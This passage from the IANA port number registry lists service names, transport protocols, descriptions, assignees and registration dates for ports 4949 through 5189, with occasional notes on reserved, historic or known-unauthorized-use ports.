munin              4949        udp    Munin Graphing Framework     [Jimmy_Olsen]                                         [Jimmy_Olsen]                                             2010-12-24
sybasesrvmon       4950        tcp    Sybase Server Monitor        [Chris_Irie]                                          [Chris_Irie]                                              2008-03-26
sybasesrvmon       4950        udp    Sybase Server Monitor        [Chris_Irie]                                          [Chris_Irie]                                              2008-03-26
pwgwims            4951        tcp    PWG WIMS                     [Ira_McDonald]                                        [Ira_McDonald]                                            2005-12
pwgwims            4951        udp    PWG WIMS                     [Ira_McDonald]                                        [Ira_McDonald]                                            2005-12
sagxtsds           4952        tcp    SAG Directory Server         [Michael_Chirila]                                     [Michael_Chirila]                                         2006-01
sagxtsds           4952        udp    SAG Directory Server         [Michael_Chirila]                                     [Michael_Chirila]                                         2006-01
dbsyncarbiter      4953        tcp    Synchronization Arbiter      [Dave_Neudoerffer_2]                                  [Dave_Neudoerffer_2]                                      2009-11-18
                   4953        udp    Reserved
                                                                                                                                                                                                                                                                     Known
                 4954-4968            Unassigned                                                                                                                                                                                                                     UNAUTHORIZED
                                                                                                                                                                                                                                                                     USE: port
                                                                                                                                                                                                                                                                     4967
ccss-qmm           4969        tcp    CCSS QMessageMonitor
ccss-qmm           4969        udp    CCSS QMessageMonitor
ccss-qsm           4970        tcp    CCSS QSystemMonitor          [David_Young]                                         [David_Young]                                             2006-01
ccss-qsm           4970        udp    CCSS QSystemMonitor          [David_Young]                                         [David_Young]                                             2006-01
burp               4971        tcp    BackUp and Restore Program   [Marat_Khalili]                                       [Marat_Khalili]                                           2017-08-23
                   4971        udp    Reserved
                 4972-4979            Unassigned
ctxs-vpp           4980        udp    Citrix Virtual Path          [Citrix_Systems]                                      [Rohith_Ramkumar]                                         2015-04-17
                   4980        tcp    Reserved
                 4981-4982            Unassigned
                   4983               Unassigned                                                                                                                                                2005-12-22
webyast            4984        tcp    WebYast                      [Federico_Lucifredi]                                  [Federico_Lucifredi]                                      2009-09-25
                   4984        udp    Reserved
gerhcs             4985        tcp    GER HC Standard              [Roger_Ward]                                          [Roger_Ward]                                              2009-09-25
                   4985        udp    Reserved
mrip               4986        tcp    Model Railway Interface      [Howard_Amos]                                         [Howard_Amos]                                             2006-04
                                      Program
mrip               4986        udp    Model Railway Interface      [Howard_Amos]                                         [Howard_Amos]                                             2006-04
                                      Program
smar-se-port1      4987        tcp    SMAR Ethernet Port 1
smar-se-port1      4987        udp    SMAR Ethernet Port 1
smar-se-port2      4988        tcp    SMAR Ethernet Port 2         [Delcio_Prizon]                                       [Delcio_Prizon]
smar-se-port2      4988        udp    SMAR Ethernet Port 2         [Delcio_Prizon]                                       [Delcio_Prizon]
parallel           4989        tcp    Parallel for GAUSS (tm)      [Matthew_Ford]                                        [Matthew_Ford]                                            2003-03
parallel           4989        udp    Parallel for GAUSS (tm)      [Matthew_Ford]                                        [Matthew_Ford]                                            2003-03
busycal            4990        tcp    BusySync Calendar Synch.     [David_Riggle]                                        [David_Riggle]                                            2008-01-07                                                                                     Defined TXT keys: Proprietary
                                      Protocol
busycal            4990        udp    BusySync Calendar Synch.     [David_Riggle]                                        [David_Riggle]                                            2008-01-07                                                                                     Defined TXT keys: Proprietary
                                      Protocol
vrt                4991        tcp    VITA Radio Transport         [Sam_Bretheim]                                        [Sam_Bretheim]                                            2009-01-08
vrt                4991        udp    VITA Radio Transport         [Sam_Bretheim]                                        [Sam_Bretheim]                                            2009-01-08
                 4992-4998            Unassigned
hfcs-manager       4999        tcp    HFSQL Client/Server Database [PC_SOFT]                                             [Jerome_AERTS_2]                                          2006-03-02   2014-02-02
                                      Engine Manager
hfcs-manager       4999        udp    HFSQL Client/Server Database [PC_SOFT]                                             [Jerome_AERTS_2]                                          2006-03-02   2014-02-02
                                      Engine Manager
commplex-main      5000        tcp
commplex-main      5000        udp
commplex-link      5001        tcp
commplex-link      5001        udp
rfe                5002        tcp    radio free ethernet
rfe                5002        udp    radio free ethernet
fmpro-internal     5003        tcp    FileMaker, Inc. -            [Clay_Maeckel]                                        [Clay_Maeckel]
                                      Proprietary transport
fmpro-internal     5003        udp    FileMaker, Inc. -            [Clay_Maeckel]                                        [Clay_Maeckel]
                                      Proprietary name binding
avt-profile-1      5004        tcp    RTP media data                                                                                                                                                         [RFC3551][RFC4571]
avt-profile-1      5004        udp    RTP media data                                                                                                                                                         [RFC3551]
avt-profile-1      5004       dccp    RTP media data                                                                                                                                                         [RFC3551][RFC5762]
avt-profile-2      5005        tcp    RTP control protocol                                                                                                                                                   [RFC3551][RFC4571]
avt-profile-2      5005        udp    RTP control protocol                                                                                                                                                   [RFC3551]
avt-profile-2      5005       dccp    RTP control protocol                                                                                                                                                   [RFC3551][RFC5762]
wsm-server         5006        tcp    wsm server                   [Adam_Berk]                                           [Adam_Berk]
wsm-server         5006        udp    wsm server                   [Adam_Berk]                                           [Adam_Berk]
wsm-server-ssl     5007        tcp    wsm server ssl               [Adam_Berk]                                           [Adam_Berk]
wsm-server-ssl     5007        udp    wsm server ssl               [Adam_Berk]                                           [Adam_Berk]
synapsis-edge      5008        tcp    Synapsis EDGE                [Paul_Schilling]                                      [Paul_Schilling]
synapsis-edge      5008        udp    Synapsis EDGE                [Paul_Schilling]                                      [Paul_Schilling]
winfs              5009        tcp    Microsoft Windows Filesystem [Simon_Skaria]                                        [Simon_Skaria]                                            2006-01
winfs              5009        udp    Microsoft Windows Filesystem [Simon_Skaria]                                        [Simon_Skaria]                                            2006-01
telelpathstart     5010        tcp    TelepathStart                [Helmuth_Breitenfelln]                                [Helmuth_Breitenfelln]
telelpathstart     5010        udp    TelepathStart                [Helmuth_Breitenfelln]                                [Helmuth_Breitenfelln]
telelpathattack    5011        tcp    TelepathAttack               [Helmuth_Breitenfelln]                                [Helmuth_Breitenfelln]
telelpathattack    5011        udp    TelepathAttack               [Helmuth_Breitenfelln]                                [Helmuth_Breitenfelln]
nsp                5012        tcp    NetOnTap Service             [Kim_Hancock]                                         [Kim_Hancock]                                             2007-10-24
nsp                5012        udp    NetOnTap Service             [Kim_Hancock]                                         [Kim_Hancock]                                             2007-10-24
fmpro-v6           5013        tcp    FileMaker, Inc. -            [Alex_Chen]                                           [Alex_Chen]                                               2007-08-01
                                      Proprietary transport
fmpro-v6           5013        udp    FileMaker, Inc. -            [Alex_Chen]                                           [Alex_Chen]                                               2007-08-01
                                      Proprietary transport
                   5014        tcp    Reserved
onpsocket          5014        udp    Overlay Network Protocol     [Roger_Matthias]                                      [Roger_Matthias]                                          2009-08-24
fmwp               5015        tcp    FileMaker, Inc. - Web        [Alex_Chen]                                           [Alex_Chen]                                               2009-11-25
                                      publishing
                   5015        udp    Reserved
                 5016-5019            Unassigned
zenginkyo-1        5020        tcp    zenginkyo-1                  [Masashi_Suzaki]                                      [Masashi_Suzaki]
zenginkyo-1        5020        udp    zenginkyo-1                  [Masashi_Suzaki]                                      [Masashi_Suzaki]
zenginkyo-2        5021        tcp    zenginkyo-2                  [Masashi_Suzaki]                                      [Masashi_Suzaki]
zenginkyo-2        5021        udp    zenginkyo-2                  [Masashi_Suzaki]                                      [Masashi_Suzaki]
mice               5022        tcp    mice server                  [Alan_Clifford]                                       [Alan_Clifford]
mice               5022        udp    mice server                  [Alan_Clifford]                                       [Alan_Clifford]
htuilsrv           5023        tcp    Htuil Server for PLD2        [Dennis_Reinhardt]                                    [Dennis_Reinhardt]
htuilsrv           5023        udp    Htuil Server for PLD2        [Dennis_Reinhardt]                                    [Dennis_Reinhardt]
scpi-telnet        5024        tcp    SCPI-TELNET                  [Ryan_Columbus]                                       [Ryan_Columbus]                                           2002-10
scpi-telnet        5024        udp    SCPI-TELNET                  [Ryan_Columbus]                                       [Ryan_Columbus]                                           2002-10
scpi-raw           5025        tcp    SCPI-RAW                     [Ryan_Columbus]                                       [Ryan_Columbus]                                           2002-10
scpi-raw           5025        udp    SCPI-RAW                     [Ryan_Columbus]                                       [Ryan_Columbus]                                           2002-10
strexec-d          5026        tcp    Storix I/O daemon (data)     [Storix_Inc]                                          [David_Huffman]                                           2005-08
strexec-d          5026        udp    Storix I/O daemon (data)     [Storix_Inc]                                          [David_Huffman]                                           2005-08
strexec-s          5027        tcp    Storix I/O daemon (stat)     [Storix_Inc]                                          [David_Huffman]                                           2005-08
strexec-s          5027        udp    Storix I/O daemon (stat)     [Storix_Inc]                                          [David_Huffman]                                           2005-08
qvr                5028        tcp    Quiqum Virtual Relais        [Philipp_Marcel_Albre]                                [Philipp_Marcel_Albre]                                    2009-07-06
                   5028        udp    Reserved
infobright         5029        tcp    Infobright Database Server   [Mark_Windrim]                                        [Mark_Windrim]                                            2009-07-23
infobright         5029        udp    Infobright Database Server   [Mark_Windrim]                                        [Mark_Windrim]                                            2009-07-23
surfpass           5030        tcp    SurfPass                     [Olivier_Guezenec]                                    [Olivier_Guezenec]                                        2006-12
surfpass           5030        udp    SurfPass                     [Olivier_Guezenec]                                    [Olivier_Guezenec]                                        2006-12
                   5031        tcp    Reserved
dmp                5031        udp    Direct Message Protocol      [Gjermund_Wallenius]                                  [Gjermund_Wallenius]                                      2009-09-30
signacert-agent    5032        tcp    SignaCert Enterprise Trust   [Harris_Corporation]                                  [Daniel_R_Somerfield]                                     2011-08-05
                                      Server Agent
                   5032        udp    Reserved
jtnetd-server      5033        tcp    Janstor Secure Data          [Janstor_Technology]                                  [Anthony_Johnson_2]                                       2015-06-08
                   5033        udp    Reserved
jtnetd-status      5034        tcp    Janstor Status               [Janstor_Technology]                                  [Anthony_Johnson_2]                                       2015-06-08
                   5034        udp    Reserved
                 5035-5041            Unassigned
asnaacceler8db     5042        tcp    asnaacceler8db               [Walter_Goodwin]                                      [Walter_Goodwin]
asnaacceler8db     5042        udp    asnaacceler8db               [Walter_Goodwin]                                      [Walter_Goodwin]
swxadmin           5043        tcp    ShopWorX Administration      [Don_W_Fitzpatrick]                                   [Don_W_Fitzpatrick]                                       2005-08
swxadmin           5043        udp    ShopWorX Administration      [Don_W_Fitzpatrick]                                   [Don_W_Fitzpatrick]                                       2005-08
lxi-evntsvc        5044        tcp    LXI Event Service            [Nick_Barendt]                                        [Nick_Barendt]                                            2005-08
lxi-evntsvc        5044        udp    LXI Event Service            [Nick_Barendt]                                        [Nick_Barendt]                                            2005-08
osp                5045        tcp    Open Settlement Protocol     [Dmitry_Isakbayev]                                    [Dmitry_Isakbayev]                                        2010-03-05
                   5045        udp    Reserved
                   5046        tcp    Reserved
vpm-udp            5046        udp    Vishay PM UDP Service        [Ashley_Clarke]                                       [Ashley_Clarke]                                           2010-06-17
                   5047        tcp    Reserved
iscape             5047        udp    iSCAPE Data Broadcasting     [Roland_van_der_Veen]                                 [Roland_van_der_Veen]                                     2010-06-17
texai              5048        tcp    Texai Message Service        [Stephen_Reed_2]                                      [Stephen_Reed_2]                                          2010-06-17
                   5048        udp    Reserved
ivocalize          5049        tcp    iVocalize Web Conference     [Bryan_Vergato]                                       [Bryan_Vergato]                                           2006-05
ivocalize          5049        udp    iVocalize Web Conference     [Bryan_Vergato]                                       [Bryan_Vergato]                                           2006-05
mmcc               5050        tcp    multimedia conference        [Steve_Casner]                                        [Steve_Casner]
                                      control tool
mmcc               5050        udp    multimedia conference        [Steve_Casner]                                        [Steve_Casner]
                                      control tool
ita-agent          5051        tcp    ITA Agent                    [Don_Merrell]                                         [Don_Merrell]
ita-agent          5051        udp    ITA Agent                    [Don_Merrell]                                         [Don_Merrell]
ita-manager        5052        tcp    ITA Manager                  [Don_Merrell]                                         [Don_Merrell]
ita-manager        5052        udp    ITA Manager                  [Don_Merrell]                                         [Don_Merrell]
rlm                5053        tcp    RLM License Server           [Matt_Christiano_2]                                   [Matt_Christiano_2]                                       2008-07-28
rlm-disc           5053        udp    RLM Discovery Server         [Reprise_Software_Inc]                                [Matt_Christiano_3]                                       2012-11-06
rlm-admin          5054        tcp    RLM administrative interface [Matt_Christiano_2]                                   [Matt_Christiano_2]                                       2008-07-28
                   5054        udp    Reserved
unot               5055        tcp    UNOT                         [Gordon_Mohr_2]                                       [Gordon_Mohr_2]
unot               5055        udp    UNOT                         [Gordon_Mohr_2]                                       [Gordon_Mohr_2]
intecom-ps1        5056        tcp    Intecom Pointspan 1          [David_Meermans]                                      [David_Meermans]
intecom-ps1        5056        udp    Intecom Pointspan 1          [David_Meermans]                                      [David_Meermans]
intecom-ps2        5057        tcp    Intecom Pointspan 2          [David_Meermans]                                      [David_Meermans]
intecom-ps2        5057        udp    Intecom Pointspan 2          [David_Meermans]                                      [David_Meermans]
                   5058        tcp    Reserved
locus-disc         5058        udp    Locus Discovery              [Alan_King]                                           [Alan_King]                                               2009-08-13
sds                5059        tcp    SIP Directory Services       [Arthur_Wilton]                                       [Arthur_Wilton]                                           2006-03
sds                5059        udp    SIP Directory Services       [Arthur_Wilton]                                       [Arthur_Wilton]                                           2006-03
sip                5060        tcp    SIP                                                                                                                                                       2014-04-09   [RFC3263]
sip                5060        udp    SIP                                                                                                                                                       2014-04-09   [RFC3263]
sip                5060       sctp    SIP                                                                                                                                                                    [RFC4168]
sips               5061        tcp    SIP-TLS                                                                                                                                                   2014-04-09   [RFC3263]
sips               5061        udp    SIP-TLS                                                                                                                                                   2014-04-09   [RFC3263]
sips               5061       sctp    SIP-TLS                                                                                                                                                                [RFC4168]
na-localise        5062        tcp    Localisation access          [Jean_Pierre_Garcia_2]                                [Jean_Pierre_Garcia_2]                                    2009-10-28
na-localise        5062        udp    Localisation access          [Jean_Pierre_Garcia_2]                                [Jean_Pierre_Garcia_2]                                    2009-10-28
csrpc              5063        tcp    centrify secure RPC          [Paul_Moore]                                          [Paul_Moore]                                              2009-10-28
                   5063        udp    Reserved
ca-1               5064        tcp    Channel Access 1             [Jeffrey_Hill]                                        [Jeffrey_Hill]                                            2002-08
ca-1               5064        udp    Channel Access 1             [Jeffrey_Hill]                                        [Jeffrey_Hill]                                            2002-08
ca-2               5065        tcp    Channel Access 2             [Jeffrey_Hill]                                        [Jeffrey_Hill]                                            2002-08
ca-2               5065        udp    Channel Access 2             [Jeffrey_Hill]                                        [Jeffrey_Hill]                                            2002-08
stanag-5066        5066        tcp    STANAG-5066-SUBNET-INTF      [Donald_G_Kallgren]                                   [Donald_G_Kallgren]
stanag-5066        5066        udp    STANAG-5066-SUBNET-INTF      [Donald_G_Kallgren]                                   [Donald_G_Kallgren]
authentx           5067        tcp    Authentx Service             [Alberto_Fernandez]                                   [Alberto_Fernandez]                                       2006-01
authentx           5067        udp    Authentx Service             [Alberto_Fernandez]                                   [Alberto_Fernandez]                                       2006-01
bitforestsrv       5068        tcp    Bitforest Data Service       [Ville_Pekka_Vahteala]                                [Ville_Pekka_Vahteala]                                    2008-06-05
                   5068        udp    Reserved
i-net-2000-npr     5069        tcp    I/Net 2000-NPR               [Chris_Megede]                                        [Chris_Megede]
i-net-2000-npr     5069        udp    I/Net 2000-NPR               [Chris_Megede]                                        [Chris_Megede]
vtsas              5070        tcp    VersaTrans Server Agent      [Christopher_Miller]                                  [Christopher_Miller]                                      2006-02
                                      Service
vtsas              5070        udp    VersaTrans Server Agent      [Christopher_Miller]                                  [Christopher_Miller]                                      2006-02
                                      Service
powerschool        5071        tcp    PowerSchool                  [Greg_Porter]                                         [Greg_Porter]
powerschool        5071        udp    PowerSchool                  [Greg_Porter]                                         [Greg_Porter]
ayiya              5072        tcp    Anything In Anything         [Jeroen_Massar]                                       [Jeroen_Massar]                                           2005-08
ayiya              5072        udp    Anything In Anything         [Jeroen_Massar]                                       [Jeroen_Massar]                                           2005-08
tag-pm             5073        tcp    Advantage Group Port Mgr     [James_Goddard]                                       [James_Goddard]                                           2005-08
tag-pm             5073        udp    Advantage Group Port Mgr     [James_Goddard]                                       [James_Goddard]                                           2005-08
alesquery          5074        tcp    ALES Query                   [Tim_Maloney]                                         [Tim_Maloney]                                             2005-08
alesquery          5074        udp    ALES Query                   [Tim_Maloney]                                         [Tim_Maloney]                                             2005-08
pvaccess           5075        tcp    Experimental Physics and     [Matej_Sekoranja]                                     [Matej_Sekoranja]                                         2012-03-23
                                      Industrial Control System
                   5075        udp    Reserved
                 5076-5077            Unassigned
pixelpusher        5078        udp    PixelPusher pixel data       [heroicrobotics.com]                                  [Jasmine_Strong]                                          2014-06-24
                   5078        tcp    Reserved
                   5079        tcp    Reserved
cp-spxrpts         5079        udp    Cambridge Pixel SPx Reports  [Richard_Warren]                                      [Richard_Warren]                                          2008-09-17
onscreen           5080        tcp    OnScreen Data Collection     [Christopher_Miller_2]                                [Christopher_Miller_2]                                    2008-01-14
                                      Service
onscreen           5080        udp    OnScreen Data Collection     [Christopher_Miller_2]                                [Christopher_Miller_2]                                    2008-01-14
                                      Service
sdl-ets            5081        tcp    SDL - Ent Trans Server       [Marc_Morin]                                          [Marc_Morin]                                              2002-04
sdl-ets            5081        udp    SDL - Ent Trans Server       [Marc_Morin]                                          [Marc_Morin]                                              2002-04
qcp                5082        tcp    Qpur Communication Protocol  [Joachim_Kluemper]                                    [Joachim_Kluemper]                                        2008-03-19
qcp                5082        udp    Qpur Communication Protocol  [Joachim_Kluemper]                                    [Joachim_Kluemper]                                        2008-03-19
qfp                5083        tcp    Qpur File Protocol           [Joachim_Kluemper]                                    [Joachim_Kluemper]                                        2008-03-19
qfp                5083        udp    Qpur File Protocol           [Joachim_Kluemper]                                    [Joachim_Kluemper]                                        2008-03-19
llrp               5084        tcp    EPCglobal Low-Level Reader   [Margaret_Wasserman][Paul_Dietrich]                   [Margaret_Wasserman][Paul_Dietrich]                       2006-11                                                                                        Defined TXT keys: None. RFID reader Low Level Reader Protocol
                                      Protocol
llrp               5084        udp    EPCglobal Low-Level Reader   [Margaret_Wasserman][Paul_Dietrich]                   [Margaret_Wasserman][Paul_Dietrich]                       2006-11                                                                                        Defined TXT keys: None. RFID reader Low Level Reader Protocol
                                      Protocol
encrypted-llrp     5085        tcp    EPCglobal Encrypted LLRP     [Margaret_Wasserman]                                  [Margaret_Wasserman]                                      2006-11
encrypted-llrp     5085        udp    EPCglobal Encrypted LLRP     [Margaret_Wasserman]                                  [Margaret_Wasserman]                                      2006-11
aprigo-cs          5086        tcp    Aprigo Collection Service    [Ron_Zalkind]                                         [Ron_Zalkind]                                             2010-05-28
                   5086        udp    Reserved
                                      BIOTIC - Binary Internet of
biotic             5087        tcp    Things Interoperable         [Waher_Data_AB]                                       [Peter_Waher]                                             2014-06-16   2015-11-25
                                      Communication
                   5087        udp    Reserved
                 5088-5089            Unassigned
car                5090       sctp    Candidate AR
cxtp               5091       sctp    Context Transfer Protocol                                                                                                                    2005-07                   [RFC4065]
                   5092        tcp    Reserved
magpie             5092        udp    Magpie Binary                [Phil_Maker]                                          [Phil_Maker]                                              2008-06-18
sentinel-lm        5093        tcp    Sentinel LM                  [Derick_Snyder]                                       [Derick_Snyder]
sentinel-lm        5093        udp    Sentinel LM                  [Derick_Snyder]                                       [Derick_Snyder]
hart-ip            5094        tcp    HART-IP                      [Wally_Pratt_Jr]                                      [Wally_Pratt_Jr]                                          2010-03-02
hart-ip            5094        udp    HART-IP                      [Wally_Pratt_Jr]                                      [Wally_Pratt_Jr]                                          2010-03-02
                 5095-5098            Unassigned
sentlm-srv2srv     5099        tcp    SentLM Srv2Srv               [Derick_Snyder]                                       [Derick_Snyder]
sentlm-srv2srv     5099        udp    SentLM Srv2Srv               [Derick_Snyder]                                       [Derick_Snyder]
socalia            5100        tcp    Socalia service mux          [Alberto_Raydan_2]                                    [Alberto_Raydan_2]                                        2005-08
socalia            5100        udp    Socalia service mux          [Alberto_Raydan_2]                                    [Alberto_Raydan_2]                                        2005-08
talarian-tcp       5101        tcp    Talarian_TCP                 [Leo_Martins]                                         [Leo_Martins]
talarian-udp       5101        udp    Talarian_UDP                 [Leo_Martins]                                         [Leo_Martins]
oms-nonsecure      5102        tcp    Oracle OMS non-secure        [Todd_Guay]                                           [Todd_Guay]                                               2005-08
oms-nonsecure      5102        udp    Oracle OMS non-secure        [Todd_Guay]                                           [Todd_Guay]                                               2005-08
actifio-c2c        5103        tcp    Actifio C2C                  [Ravi_Kollipara]                                      [Ravi_Kollipara]                                          2010-06-18
                   5103        udp    Reserved
                   5104        tcp    Reserved
tinymessage        5104        udp    TinyMessage                  [Josip_Medved]                                        [Josip_Medved]                                            2010-10-20
                   5105        tcp    Reserved
hughes-ap          5105        udp    Hughes Association Protocol  [Varun_Santosh]                                       [Varun_Santosh]                                           2010-10-20
actifioudsagent    5106        tcp    Actifio UDS Agent            [Actifio]                                             [Madhav_Mutalik]                                          2014-06-05
                   5106        udp    Reserved
actifioreplic      5107        tcp    Disk to Disk replication     [Actifio]                                             [Madhav_Mutalik]                                          2015-10-23
                                      between Actifio Clusters
                   5107        udp    Reserved
                 5108-5110            Unassigned
taep-as-svc        5111        tcp    TAEP AS service              [Liu_Changchun]                                       [Liu_Changchun]                                           2008-11-05
taep-as-svc        5111        udp    TAEP AS service              [Liu_Changchun]                                       [Liu_Changchun]                                           2008-11-05
pm-cmdsvr          5112        tcp    PeerMe Msg Cmd Service       [Marcos_Della]                                        [Marcos_Della]                                            2005-08
pm-cmdsvr          5112        udp    PeerMe Msg Cmd Service       [Marcos_Della]                                        [Marcos_Della]                                            2005-08
                   5113               Unassigned                                                                                                                                   2010-11-09
ev-services        5114        tcp    Enterprise Vault Services    [Richard_Jones_2]                                     [Richard_Jones_2]                                         2009-05-26
                   5114        udp    Reserved
autobuild          5115        tcp    Symantec Autobuild Service   [David_Warden]                                        [David_Warden]                                            2008-11-17
                   5115        udp    Reserved
                   5116        tcp    Reserved
emb-proj-cmd       5116        udp    EPSON Projecter Image        [SEIKO_EPSON_4]                                       [SEIKO_EPSON_4]                                           2008-11-17
                                      Transfer
gradecam           5117        tcp    GradeCam Image Processing    [Robert_Porter]                                       [Robert_Porter]                                           2009-09-24
                   5117        udp    Reserved
                 5118-5119            Unassigned
barracuda-bbs      5120        tcp    Barracuda Backup Protocol    [Barracuda_Networks]                                  [Andrew_Blyler]                                           2013-04-05
barracuda-bbs      5120        udp    Barracuda Backup Protocol    [Barracuda_Networks]                                  [Andrew_Blyler]                                           2013-04-05
                 5121-5132            Unassigned
nbt-pc             5133        tcp    Policy Commander             [Emily_Harris]                                        [Emily_Harris]                                            2004-11
nbt-pc             5133        udp    Policy Commander             [Emily_Harris]                                        [Emily_Harris]                                            2004-11
ppactivation       5134        tcp    PP ActivationServer          [Ian_Bradley]                                         [Ian_Bradley]                                             2009-10-14
                   5134        udp    Reserved
                                                                                                                                                                                                                                                                                  Defined TXT keys:
erp-scale          5135        tcp    ERP-Scale                    [Ian_Bradley]                                         [Ian_Bradley]                                             2009-10-14                                                                                     RFC=<RFC destination and status>
                                                                                                                                                                                                                                                                                  Device=<Scale device and status>
                   5135        udp    Reserved
                   5136        tcp    Reserved
minotaur-sa        5136        udp    Minotaur SA                  [Kenneth_Flynn]                                       [Kenneth_Flynn]                                           2009-10-14
ctsd               5137        tcp    MyCTS server port            [Jilles_Oldenbeuving]                                 [Jilles_Oldenbeuving]                                     2002-06
ctsd               5137        udp    MyCTS server port            [Jilles_Oldenbeuving]                                 [Jilles_Oldenbeuving]                                     2002-06
                 5138-5144            Unassigned
                                      RMONITOR SECURE

rmonitor-secure    5145        tcp    IANA assigned this           [Kory_Hamzeh]                                         [Kory_Hamzeh]
                                      well-formed service name as
                                      a replacement for
                                      "rmonitor_secure".
                                                                                                                                                                                                                                                                                  This entry is an alias to "rmonitor-secure". This entry is
rmonitor_secure    5145        tcp    RMONITOR SECURE              [Kory_Hamzeh]                                         [Kory_Hamzeh]                                                                                                                                            now historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      RMONITOR SECURE

rmonitor-secure    5145        udp    IANA assigned this           [Kory_Hamzeh]                                         [Kory_Hamzeh]
                                      well-formed service name as
                                      a replacement for
                                      "rmonitor_secure".
                                                                                                                                                                                                                                                                                  This entry is an alias to "rmonitor-secure". This entry is
rmonitor_secure    5145        udp    RMONITOR SECURE              [Kory_Hamzeh]                                         [Kory_Hamzeh]                                                                                                                                            now historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
social-alarm       5146        tcp    Social Alarm Service         [Shaun_Byrne]                                         [Shaun_Byrne]                                             2009-08-18
                   5146        udp    Reserved
                 5147-5149            Unassigned
atmp               5150        tcp    Ascend Tunnel Management     [Kory_Hamzeh]                                         [Kory_Hamzeh]
                                      Protocol
atmp               5150        udp    Ascend Tunnel Management     [Kory_Hamzeh]                                         [Kory_Hamzeh]
                                      Protocol
                                      ESRI SDE Instance
                                                                                                                                                                                                                                                                     Unauthorized
esri-sde           5151        tcp    IANA assigned this           [Peter_Aronson]                                       [Peter_Aronson]                                                                                                                             Use Known on
                                      well-formed service name as                                                                                                                                                                                                    ports 5151
                                      a replacement for                                                                                                                                                                                                              and 5152
                                      "esri_sde".
                                                                                                                                                                                                                                                                                  This entry is an alias to "esri-sde". This entry is now
esri_sde           5151        tcp    ESRI SDE Instance            [Peter_Aronson]                                       [Peter_Aronson]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      ESRI SDE Remote Start
                                                                                                                                                                                                                                                                     Unauthorized
esri-sde           5151        udp    IANA assigned this           [Peter_Aronson]                                       [Peter_Aronson]                                                                                                                             Use Known on
                                      well-formed service name as                                                                                                                                                                                                    ports 5151
                                      a replacement for                                                                                                                                                                                                              and 5152
                                      "esri_sde".
                                                                                                                                                                                                                                                                                  This entry is an alias to "esri-sde". This entry is now
esri_sde           5151        udp    ESRI SDE Remote Start        [Peter_Aronson]                                       [Peter_Aronson]                                                                                                                                          historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                                                                                                                                                                                                                                                     Unauthorized
sde-discovery      5152        tcp    ESRI SDE Instance Discovery  [Peter_Aronson]                                       [Peter_Aronson]                                                                                                                             Use Known on
                                                                                                                                                                                                                                                                     ports 5151
                                                                                                                                                                                                                                                                     and 5152
                                                                                                                                                                                                                                                                     Unauthorized
sde-discovery      5152        udp    ESRI SDE Instance Discovery  [Peter_Aronson]                                       [Peter_Aronson]                                                                                                                             Use Known on
                                                                                                                                                                                                                                                                     ports 5151
                                                                                                                                                                                                                                                                     and 5152
                   5153        tcp    Reserved                                                                                                                                     2009-07-01   2018-04-19                                                                        Historic usage was toruxserver. De-Assigned on 2018-04-19
                   5153        udp    Reserved
bzflag             5154        tcp    BZFlag game server           [Tim_Riker]                                           [Tim_Riker]                                               2003-07
bzflag             5154        udp    BZFlag game server           [Tim_Riker]                                           [Tim_Riker]                                               2003-07
asctrl-agent       5155        tcp    Oracle asControl Agent       [Todd_Guay]                                           [Todd_Guay]                                               2005-08
asctrl-agent       5155        udp    Oracle asControl Agent       [Todd_Guay]                                           [Todd_Guay]                                               2005-08
rugameonline       5156        tcp    Russian Online Game          [Andrey_Mohov]                                        [Andrey_Mohov]                                            2010-08-17
                   5156        udp    Reserved
mediat             5157        tcp    Mediat Remote Object         [Oliver_Anan]                                         [Oliver_Anan]                                             2010-09-02
                                      Exchange
                   5157        udp    Reserved
                 5158-5160            Unassigned
snmpssh            5161        tcp    SNMP over SSH Transport                                                                                                                                                [RFC5592]
                                      Model
                   5161        udp    Reserved
                                                                                                                                                                                                                                                                     Known
snmpssh-trap       5162        tcp    SNMP Notification over SSH                                                                                                                                             [RFC5592]                                               Unauthorized
                                      Transport Model                                                                                                                                                                                                                Use on port
                                                                                                                                                                                                                                                                     5162
                                                                                                                                                                                                                                                                     Known
                   5162        udp    Reserved                                                                                                                                                                                                                       Unauthorized
                                                                                                                                                                                                                                                                     Use on port
                                                                                                                                                                                                                                                                     5162
sbackup            5163        tcp    Shadow Backup                [Glenn_Allen]                                         [Glenn_Allen]                                             2009-08-05
                   5163        udp    Reserved
vpa                5164        tcp    Virtual Protocol Adapter     [Douglas_Goodall]                                     [Douglas_Goodall]                                         2009-08-05
vpa-disc           5164        udp    Virtual Protocol Adapter     [Douglas_Goodall]                                     [Douglas_Goodall]                                         2009-08-05
                                      Discovery
                                      ife_1corp

ife-icorp          5165        tcp    IANA assigned this           [Paul_Annala]                                         [Paul_Annala]
                                      well-formed service name as
                                      a replacement for
                                      "ife_icorp".
                                                                                                                                                                                                                                                                                  This entry is an alias to "ife-icorp". This entry is now
ife_icorp          5165        tcp    ife_1corp                    [Paul_Annala]                                         [Paul_Annala]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      ife_1corp

ife-icorp          5165        udp    IANA assigned this           [Paul_Annala]                                         [Paul_Annala]
                                      well-formed service name as
                                      a replacement for
                                      "ife_icorp".
                                                                                                                                                                                                                                                                                  This entry is an alias to "ife-icorp". This entry is now
ife_icorp          5165        udp    ife_1corp                    [Paul_Annala]                                         [Paul_Annala]                                                                                                                                            historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
winpcs             5166        tcp    WinPCS Service Connection    [Complan_Network_AS]                                  [Complan_Network_AS]                                      2006-02
winpcs             5166        udp    WinPCS Service Connection    [Complan_Network_AS]                                  [Complan_Network_AS]                                      2006-02
scte104            5167        tcp    SCTE104 Connection           [Thomas_Russell]                                      [Thomas_Russell]                                          2005-05
scte104            5167        udp    SCTE104 Connection           [Thomas_Russell]                                      [Thomas_Russell]                                          2005-05
scte30             5168        tcp    SCTE30 Connection            [Thomas_Russell]                                      [Thomas_Russell]                                          2005-05
scte30             5168        udp    SCTE30 Connection            [Thomas_Russell]                                      [Thomas_Russell]                                          2005-05
                 5169-5171            Unassigned
pcoip-mgmt         5172        tcp    PC over IP Endpoint          [Teradici_2]                                          [Paul_Helter]                                             2014-04-28
                                      Management
                   5172        udp    Reserved
                 5173-5189            Unassigned
